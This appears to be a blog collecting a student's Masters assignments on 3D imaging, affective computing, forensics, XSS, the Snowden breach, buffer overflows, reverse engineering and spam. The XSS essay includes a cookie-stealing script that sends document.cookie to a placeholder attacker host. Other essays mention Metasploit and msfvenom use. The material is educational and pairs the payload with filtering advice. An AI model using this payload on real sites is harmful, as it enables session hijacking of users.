NoteThis is one of my Masters assignment from Media Information Processing Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. Stereoscopic 3D 2 cameraThe first section explanation is from [1]. The stereoscopic 3D is a method to make 3D visual representation on an image using 2 camera's. Stereo refers to “2” and 3D is 3 dimension. The concept is based on how our eyes perceives the visual aspect of the world as in Figure 1. We can just implement it at first is we create an image using digital camera, next video representation is possible as long as the method remains implemented. The result will be as Figure 2 where the top is the 2 image and the bottom is how we will perceive it. There are few terms that might be unfamiliar to our ears. There is interocular separation which is the distance between the centers of the human eye, that is around 65mm for male adults. The interaxial separation is the distance between the 2 lenses of the camera. It's not recommended to regard interaxial separation the same as interocular separation but interocular separation is used to calculate interaxial separation. 
If we return to Figure 1 we see that we are using binocular vision (“bi” means two) where we are using two eyes on our vision system. For us and other mammals commonly we use it to see how the depth of an object, how deep the object went, or how far the object is. When we look at an object from a distance the image projected will be located at slightly different location for our 2 retinas and our brain interpret this as retinal disparity. The same thing will happen if we use the two camera's where the image will be registered in slightly different horizontal position which is called parallax. Another thing we can see on the first Figure is eyes are convergence when we focus on a certain object, the more closer the object to focus the more convergence (Figure 1 shows convergence eyes). Instead if the object goes further our eyes will tend to more divergence. For example when we focus on a cup we'll see one image of the cup (actually it's two image but we perceive as one image) and we focus the wall behind it instead we'll see two cups. 
In Figure 2 is just an illustration of how we emulate a binocular vision on a screen. We will perceive either it as positive parallax which is the red triangle appeared to be behind the window or negative parallax, the green square seems to be in front of the windows. Our brains perceive it that way and some may call it an illusion. 2. Stereoscopic 3D 1 cameraStill to produce this is by using 2 image that fulfills the requirement. Just one camera is possible to do this like on Figure 3 a person takes two pictures. [2] 
When using a drone we simply have to apply a control system so the drone will capture 2 image separately that fulfills the requirement. A control system may be apply to compute the distance of where to take the left image and the right image. Compute the distance to the object, then find the left image and right image angle and distance. 
For video more complex method is needed. There is one on [3] that claims it's possible using mirrors and prisms as on Figure 4. Another method is to use progressive image capturing where the camera shifts left and right [4]. It quickly captures image when shift to left and shift to right, the shifting process itself is very quick. An enhanced method is use a high frequency shifting while video recording example on Figure 5 [5]. The video is then process to cancel the vibration and shaking [6]. 
3. Reference
1 Comment
This is one of my Masters assignment from Media Information Processing Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. My opinion and thoughts on Prof. Rosalind Picard's paper on, "Affective media and wearables: surprising findings" will be written as following. At first there was a similarity in my lab of human interface where we develop a technology with always keeping in mind that the final receiver is always us “human being”. Also as I'm in the E-learning group, most of the evaluations are based on the users, whether it is their emotion, performance, etc. Prof. Rosalind Picard started a new research field in affective computing. Their research group background is that most technologies were created without putting emotions into consideration. Maybe back then most of them only focuses on cognition side (a person's ability and processing power) but lacks on emotion side (frustration, stress, etc). Her field of study claims to balance the cognition and emotion on developing technologies. Even before she started the research group she already suggested that computers need the skills of emotional intelligence for interaction with us “people”. She started by enabling computers to be able to interact with human emotions. Her product can be in form of wearable sensors, audio and video coupled with signal processing, etc. These products are design to be able to sense the physical and the emotional condition of the user. Then they will respond these values, whether to the health condition, stress level, or frustration of the users to ease them, in other words user friendly. This field needs a collaboration between other fields (lots of them) because it includes many different aspect. The starting is in the psychology of human emotions, one of the oldest research field, that we need to understand human emotions. Up to now, not yet I have heard that a device exist that could straightly identifies the emotion of someone, but instead uses the physical phenomena that is generated by the person, for example the body heat, heart beat, and blood pressure. Thus sensors are necessary in this field to capture these values, since most of these sensors are electronic devices, the field of electronics is necessary. The values should then be converted to readable informations for people. The next step is to make the device understand a person's emotion. With the data extracted from the user, the device should process it and makes a judgment whether the person is happy, sad, angry, or other emotions. After that the device should react accordingly to these values or give feedbacks, which those in the fields of informatics can do. Once the prototype is finished then we need to think of the design. Should we embed pressure sensors on keyboard and mouse? Should we use webcam to identify the user's facial expression? Should we embed wearable sensors to the user? We must think of a strategy to apply this without adding discomfort to the user. Once a computer is aware of the person's condition and emotion, they should interact with the person. In what ways can the computer, device, or a machine respond to a person's emotion? To answer this question Engineers, Health Physician, even Psychologists needs to collaborate. In the end we strive in to make a technology that is alive and more understanding. Another topic is using the media to communicate between people. With the advance in technology we can use electronic devices to communicate with others in long distances. We can send informations via text, but it's still on research when involving emotions in this communication. The media that is currently the closest to face to face communication is video conference. The device will do on our behalf by capturing our voice and image to transmit far away. By hearing and seeing the person we communicate our feelings or emotions. But the feeling of something is missing is still there. For example, can we comfort a sad person through video call the same way as we comfort them when they are there. That's another reason why the field of affective computing exist today. The media can mediate informations, but it still a question when involving emotions. 
NoteThis is the fifteenth assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. What is Digital Forensic?Digital forensic is a part of forensic science that recovers and investigates materials found in digital devices. Digital forensic can be computer forensic, network forensic, forensic data analysis, mobile device forensic, and anything that includes digital data. Digital forensics is widely known in gaining evidence from digital data to support justification of a crime incident, like finding the information exchange between suspects using digital media (some call it E-discovery). Very similar to digital crime investigation (DCI) which distinguish digital forensic itself as a process of digging evidence from digital device, while DCI itself is the use of digital device to help gain evidence of a crime incident. Other than supporting crime investigation digital forensic is often known to investigate certain events on the digital world. [1] 2. Why Need The Digital Forensic?Digital technologies are becoming part of our lives, or maybe already are. Everyday we are using digital devices, and making Hollywood movies came to reality where information about certain individuals, their signatures, even evidence can be found in digital devices. More than 100 years ago we didn't treat blood, finger prints, and food prints as important evidence since science back cannot extract information of an event. Today is different where blood and finger prints can show the individual responsible on that scene. Recently digital evidence is making the same trend. With investigation on the digital device we can tell who the users are, where they are, what for and when they used it. [2] On the first section states of real world incidents, but it's not only there that incidents occur, but also on the digital world. The term cyber threat is known now like theft of private information, online fraud, and damages due to malwares occurs. On the real world incidents we intent find who the culprit to press charges on the court but on the digital world the question “who” is not as important as “how”. We can find who breached the information security and who created the malware to press charge against them, but if that's the only thing then we can expect even more attacks in the future. How the breached occurs and how the malware works is the important thing to make a defense mechanism for future attacks. Through digital forensic we obtain these information to apply security based on the threat. [3] 3. How to Perform Digital Forensic?Generally there 4 steps [4]:
4. Reference
My Opinion of XSS/CSS, Digital Forensic, and Digital Crime Investigation when I was a Young Student10/2/2021 
NoteThis is the fourteenth assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. XSS/CSSXSS/CSS stands for cross site scripting which is a computer security vulnerability to inject scripts into web pages viewed by other users [1]. What is the difference between code injection? Code injection is a server side vulnerability while XSS is a client side vulnerability, what they have in common is they are injection type attack [2]. One of the easiest method to check for XSS vulnerability is to include a html tags into the submission form, for example on Figure 1 is an <S> (strike-through) html tag inserted on a simple php form input (any php tutorial on the web have this tutorial) and Figure 2 is an example of using <img src=””> tag to add an image, even worse we can input tags that could display the attacker site instead and take the victim site with <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>. (1) Once a XSS vulnerability had been found we can send a phising email to the user of the site containing the XSS script. (2) With a good social engineering the user site can be tricked in running the code and connect to attacker's site through the vulnerable XSS site. (3) The attacker can obtain the session ID and other informations of the victim. [3] 
To prevent XSS we have to filter the user input. One way is to not allow html tags for, or perform sensitization allowing text formatting tag such as <B> <U> <I> <S>, and converting dangerous tags like “&→&”, “<→<”, “>→>”, “”→"”, “'→&x27”, and “/→&x2f”. For my above PHP code I can fix it by changing the output function (adding) into “echo htmlspecialchars($string, ENT_QUOTES, 'UTF-8')”. There are libraries available for filtering XSS if it's difficult to make our own libraries such as “PHP AntiXSS”, “xss_clean.php filter”, “htmlpurifier”, “xssprotect”, and “XSS html filter”. [4] 
2. Digital Crime Investigation vs Digital ForensicDigital crime investigation is mainly used in criminal investigation in order to enhance the criminal investigation process itself. It's more like an auxiliary to tool in which is specifically digital typed tools. For example (1) the use of surveillance camera to capture robbery incident in stores, (2) categorizing data, clustering data, plotting graph, which is under data mining, (3) using database to store crime records. On the other hand digital forensic is to extract, collect, analyze, and preserve digital evidence, for example to be shown in court. [5] 
Both digital crime investigation and digital forensic are part of a subject called forensic science. Performing autopsy on a dead body to find the cause of death is an example of medical forensic. Then examining a computer to search for informations of itself being attacked is an example of digital forensic. The basic step is to (1) identify the attack, its extent and damage caused, (2) identify the source of the attack, (3) record the incident. The scope of digital forensic can be computer forensic as example above, or network forensic which the larger scale with the computer forensic included into the network forensic. Unlike medical forensic we can first create a duplicate of the computer data or network data before running digital forensic which is a safe type of investigation that avoids the risk of destroying the evidence. Most popularly examined on digital forensics are maintenance of files and folders, disk logs, server logs, logs from IDS/IPS, and network packets if captured. [5] 3. Reference
NoteThis is the thirteenth assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. IntroductionOn the 20th century we have seen news of leaked official governmental documents by Wikileaks for example [1]. One of the largest and latest leaked is on period 2013 – 2014 where thousands of classified documents belonging to Nation Security Agency (NSA) in United State of America (USA) leaked to all over The World. Initially it was breached by NSA's network administrator at that time Edward Snowden, and the documents were handed to journalist Glenn Greenwald and filmmaker Laura Poitras. The documents mainly exposed about the mass surveillance and its future plan to monitor everything by NSA. For example direct access to American's Google and Yahoo accounts, record of all phone conversations and everything done on the Internet records, harvesting millions of emails and contacts, spying users of second life and world of warcraft alike, and plan on spreading malware to connect to their fake facebook server in order to intercept connection. All of it can be described by on of the title of Greenwald's book entitled “No Place To Hide” which states the NSA's objective to collect it all, process it all, exploit it all, partner it all, sniff it all, and know it all. [2] The main question on this essay is how did Edward Snowden breach the NSA? The simple answer is he used key and certificate based attack. The world of cyber war had evolved from the motivation of disruption, cyber crime, cyber espionage, and now destruction of trust and creditability that could lead a company to bankrupt. The first threat the cyber world have faced are worms and virus in 1997, it then evolves to for-profit malwares in 2004, next is advance persistent threat (APT) in 2007, finally 2010 key and certificate based attacks were introduced. Edward Snowden simply following the trend (using key and certificate based attack) and made his breach in 2013. [3] 2. How Snowden BreachedThe video [4] explained that there are mainly 3 key steps of Edward Snowden breaching NSA using kill chain analysis: 2.1 Researching the TargetOther names for this step in the world of hacking and penetration testing is information gathering or reconnaissance. Snowden as a system administrator was granted common access card (CAC) that was preloaded cryptographic keys and digital certificates thus he had authorized basic access. When he was in the CIA before he already tried the limits of his administrator privileged to gain unauthorized access to classified information, meaning that he was able to search the locations of each informations. 2.2 Initial IntrusionEdward Snowden doesn't have a server or PCs connected to NSA network, only a shell like any other external hacker who only achieve initial intrusion. In other words he's in the phase after scanning and initial exploitation but without privileged to classified data. He used secure shell (SSH) in his daily job which means he can get the SSH key. He also hold SSH account of his colleagues, meaning he can also extract those keys. With many keys in his possession, he had the capabilities to fabricate his own keys and certificates. With these he was able to gain administrative privileged to classified data. Like those who are knowledgeable in APTs he was able to cover his track and not sounding the alarm. 2.3 ExfiltrationThis step can be quite new for beginner hacker or penetration tester where the 4 general steps (1) information gathering (reconnaissance) (2) scanning (3) exploitation (4) maintaining access (backdoor), this step can be put after (3) or (4). Some can say this is one of those stealth method. This step is after Snowden able to access the data but he cannot simply copy it into a thumb drive or some method alike which will alert the system. He needs to retrieve the data quietly. What he did was encrypted the data based on his own fabricated keys and certificates and send them over the network. 3. The ProblemThe site [5] claims that the main problem is on the awareness of key and certificate based attacks. If the use of keys and certificates were monitored, detection and prevention of abnormality on the use of those keys and certificates were implemented, Snowden attempts can be detected or prevented on the 3rd step. Since NSA was not aware of keys and certificates, Snowdens encrypted transmission of the classified data after the intrusion was treated as safe on the network. 4. ReferenceNoteThis is the twelth assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. IntroductionThe C variables can be categorized into 2 which are the statically assigned variables or local variables resides in the stack area and dynamically assigned variables (using malloc function) resides in the heap area [1]. A stack is a data structure equivalent to last in first out. It mainly has push and pop instruction where push puts new element at the top of the stack and pop removes the top elements first. For instance, when a function calls another function, which in turn calls a third function, it's important that the third function return back to the second function rather than the first [2] [3]. A stack buffer overflow occurs when the input data is larger than the assigned size of local variables, which corrupts the stack area, worst case a malicious user can insert a malicious code on the return address after overflowing the previous stack area [4]. On the other hand the heap is a tree based data structure where the value of the parent is always greater or equal then the children's node. In C the heap area is an area that is not manage automatically but usually larger than stack. On the stack area the user only defines the size and variable, using last in first out it pushes and pops elements automatically, while on the heap area we have to manually free() the memory after it is used. To allocate memory on the heap area usually uses function calloc() or malloc(). Unlike stack it doesn't have size restriction, but it's slower because we have to use pointers to access [5]. A heap buffer overflow can occur on the heap area when the input size (using gets) of a dynamic allocated variable is larger then the allocate size which replace the next dynamic allocated variable [6], or cause by the statically assigned variable next to the heap area (using memset() e.g) which will overwrite starting from the beginning address of the heap area [7]. 2. Sample Script and ExecutionOn Figure 1 is the script and Figure 2 is the result of execution [7]. On the result we can see that DoFilter is on the lowest memory address followed by static char sbuf starting on 6294832 and global variable globalA on 6294848 in integer value. After the statically assigned variable and global variable is the heap area, it is where the dynamically buf and wbuf allocated starting on integer address 24207376 and 24207408, which we also calculate the distance between them diff is 32 integer value. 32 also means the size of variable buf with the data size is 16, in [6] said addition to pointers and register address (maybe others as well) which makes total of 32. To overflow wbuf we simply need to insert more than 32 chars on buf. On the script we first write 15 (BUFSIZE-1) of “Ws” on wbuf, then we write 32+8 (diff+8) of “Bs” on buf. Before writing buf we show the output of buf we is 15 “Ws”, then after writing buf with 40 “Bs” exceeds the size of buf (32) by 8 and overflows to wbuf, and so the first 8 characters of wbuf is overwritten with “Bs”. This is heap buffer overflow caused locally. Another thing abuf and awbuf are local variables residing on stack. 
3. Suggestion
4. Reference
NoteThis is the eleventh assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. IntroductionA buffer overflow contains the word buffer which is a temporary data storage area and overflow where too much data is inserted it overflows. Buffer overflow can be define as an event where the data size that was input exceeds the size of the buffer and the last part of the data overwrite the other section of the memory [1]. Think of it as a tea spills out of the cup if we put too much tea in it, and same when the data is too much that it will spill out. Different from a tea being spilled buffer overflow is a data that may overwrites other parts of the memory and maybe read and executed by the machine. The spilled code could change, damage, add, or delete the user's data, even worst may contain an program to execute a remote connection to a malicious person. In July 2000 a buffer overflow vulnerability was found in Microsoft Outlook. No need for a virus attachment, just receiving an email with an exceeded header size added with a payload already open a session for the attacker. These makes buffer overflow as a famous security attack. This attack began when C supplied the framework and poor programming was practice [1]. 2. Buffer Overflow in SecurityOn Figure 1 shows memory layout of Linux process. A process is a program in execution, and an executable program contains a set of binary instructions to be executed on the processor. They could be read only data like printf, global or static data that last through out the process, brk pointer that keeps track of malloced memory, or local function that cleans up after it is run [2]. 
A process image on Figure 1 shows that it started with the program's code and data on the first 2 blocks after the unused block. Following is the runtime heap created at runtime by malloc, then goes to memory mapped region of shared libraries. On the top is user's stack whenever a function call is made it is used. On Figure 2 shows an illustration of stack region, whenever a function call is made the stack pointer pushes the parameters from right to left, then the return address, and the frame pointer between local and return address [2]. 
Back to buffer overflow if the data inserted is larger than allocated buffer, it will overflow to other memory address. A simple C program on Figure 3 allocates A 8 of strings, and B is an unssigned short of 2015 value. If we put too much string in A it will overflow and here B changes value [3]. On Figure 4 is the assembly link of the code, we see that the value $2015 is allocated on 2 out of 16 of the address, and to overflow 2015 value we should at least input 14 characters. 
On Figure 5 is another demonstration. It's a simple login program, even though a wrong password is given, but root privilege was also given [4]. Figure 6 is one of the famous vulnerabilities ms08-67 even among beginners. It's char() buffer overflow vulnerability on unpatched Windows XP where the attacker can open a remote session, in other words hijacked the system. The real codes for starters is quite complicated but metasploit provides a ready to use application and all we need to do is specify the target and exploit [5]. 
3. Counter MeasureFrom [2] we got some countermeasures:
4. SummaryBuffer overflow overwrites other part of the memory. The simplest case is variable B if put too much data can flood to the next variable A. A buffer overflow on login program may grant access to the attacker, worst case it can grant remote session as of the ms08-67 vulnerability. To cope with buffer overflow is by well written code for example avoid dangerous functions as gets(). 5. ReferenceNoteThis is the tenth assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. IntroductionReverse Engineering is the process of disassembling and examination to study the parts of (something) to see how it was made and how it works so that you can make something that is like it [1]. As I read in [2] in came back to me that I've actually done a lot of half reverse engineering, where I disassembled camera's, laptops, PCs, hard drives, mouse, and monitors, that would be a full reverse engineering if I thoroughly study them and remade them. There are items that I successfully reversed engineering which are adapters and Cisco router's console cable. For the adapter I just need to buy the parts on electronic shops and assemble. The Cisco router's console cable was almost the same where I disassemble the cable and see how the order of each cables are connected. Then I proceed to a shop and bought 2 DB9 male and female pins, a few cables, and cover, with later I proceed in soldering the cables and made my own console cable as on Figure 1. 
A process that was originally applied only to hardware, reverse-engineering is now applied to software, databases and even human DNA. Reverse-engineering is especially important with computer hardware and software. Around 1980s San Jose-based Phoenix Technologies Ltd reversed engineered an IBM's bios in order to make their own original compatible PC to IBM. Cyrix Corp and Advanced Micro Devices Inc reversed engineered Intel Corp microprocessors to make their own cheaper microprocessors [2]. 2. Reverse Engineering In ComputersMost programs are written in high level programming language such as C and Java. The written program is then compiled using a compiler into machine language mainly consist of 0s and 1s which then can be executed. This machine language is very difficult for us to understand, but still there are ways to decompile them into high programming language using a decompiler. For example on the GIF picture on Figure 2 I wrote a “hello world” program in java and compiled into “hello.class”. Using an application called “jad” I can decompile the executable file back into the java language. 
As stated on the first section that reverse engineering can be used to study and reproduce a software, another important field is that it can be use on computer security, since reverse engineering involves analyzing, dissembling, and may decompile a software. An example of reverse engineering in field of computer security is malware analysis, Figure 3 shows a simple overview of malware analysis through reverse engineering. As an example I experimented in injecting a message box payload using “msfvenom” on “calc.exe” (a calculator software on Windows). On Figure 4 I used Reverse Engineering Compiler (REC) Studio which a software to perform disassembling and decompiling on an executable file to compare the original “calc.exe” and the injected “calc_bdoor.exe”, and shows that another task had been added. 
3. Laws on Reverse EngineeringFrom [4] reverse engineering has purposes as follows:
But some regions have strict laws on reverse engineering, mainly copyright issues. The laws on reverse engineering varies each region but also similar. Some permits reverse engineering if the purpose is to fix issues of a software, some permits if it is research and non commercial use, and some permits only if it statet by the software owner on the software that reverse engineering is allowed. [5] 4. Reference
NoteThis is the ninth assignment from my Masters Advanced Network Security Course which has never been published anywhere and I, as the author and copyright holder, license this assignment customized CC-BY-SA where anyone can share, copy, republish, and sell on condition to state my name as the author and notify that the original and open version available here. 1. Email OverviewThe protocol that is defined to exchange email over the Internet is simple mail transfer protocol (SMTP). SMTP is used to send email to another email server which is then received through the procedure of post office protocol version 3 (POP3) or another procedure instant message access protocol (IMAP). It can be illustrated in Figure 1 that the email was send via SMTP, then authentication is handled by POP3 or IMAP. The authentication alone is unencrypted, to encrypt is to be send over secure socket layer (SSL) for more secure communication [1]. 
Another technology is the mailing list where the clients subscribes so they're included into the mailing list. Materials will be send to the subscriber within the mailing list. Security issues on email other than malware mostly dealt with spams. 2. SpamPeople defined the term email spam as bulk email or unsolicited email. It's very subjective how each person defines a spam. An example of a common spam is an advertisement sent to a mailing list or lot's of email address, in an indiscriminate way. A light spam usually contains advertisement only but a severe spam may contain threats that could harm the user like malware. The subtopic belows are example of how spam may occur and what measure that had been taken. Most of the below materials are based on [2] and most definitions are based on [3] (by each key words). 2.1 Open RelayOpen relay is a configuration on the mail server to accept all incoming emails either by known users or anonymous users. This was used to be the default configuration of all mail servers but it became unpopular since it was abused by spammers and malwares, refer to small illustration on Figure 2. Most open relay's are closed, or put on blacklist. 
2.2 Impact of SpamThere many impacts of spams. It can be summarize in general as follows:
2.3 POP before SMTP / SMTP after POPTo cope with Figure 2, POP before SMTP is implemented with the concept of allowing email transmission if able to retrieve email. In short you be able to access and retrieve your email first, then you're able to send an email. But today people tends to use SMTP authentication instead. Figure 3 is a general illustration. 
Back then the POP before SMTP was implemented to cope with the open relay issue, still it's a method to allow email exchange from outside, spammers just need to find another way. (1) First they could gain control (spam bot) the user's PC that had authorization to the SMTP server through service attack worms (SAW) and mass mailing worms (MMS). (2) Second is a method called email error back scattering where on the envelop insert “reply-to: [email protected]” (if error will go to that email). This two are illustrated on Figure 4. How is it possible? It is because of direct SMTP. 
3. Anti SpamTo avoid spams the following are recommended, (note: there are more ways the below recommendation):
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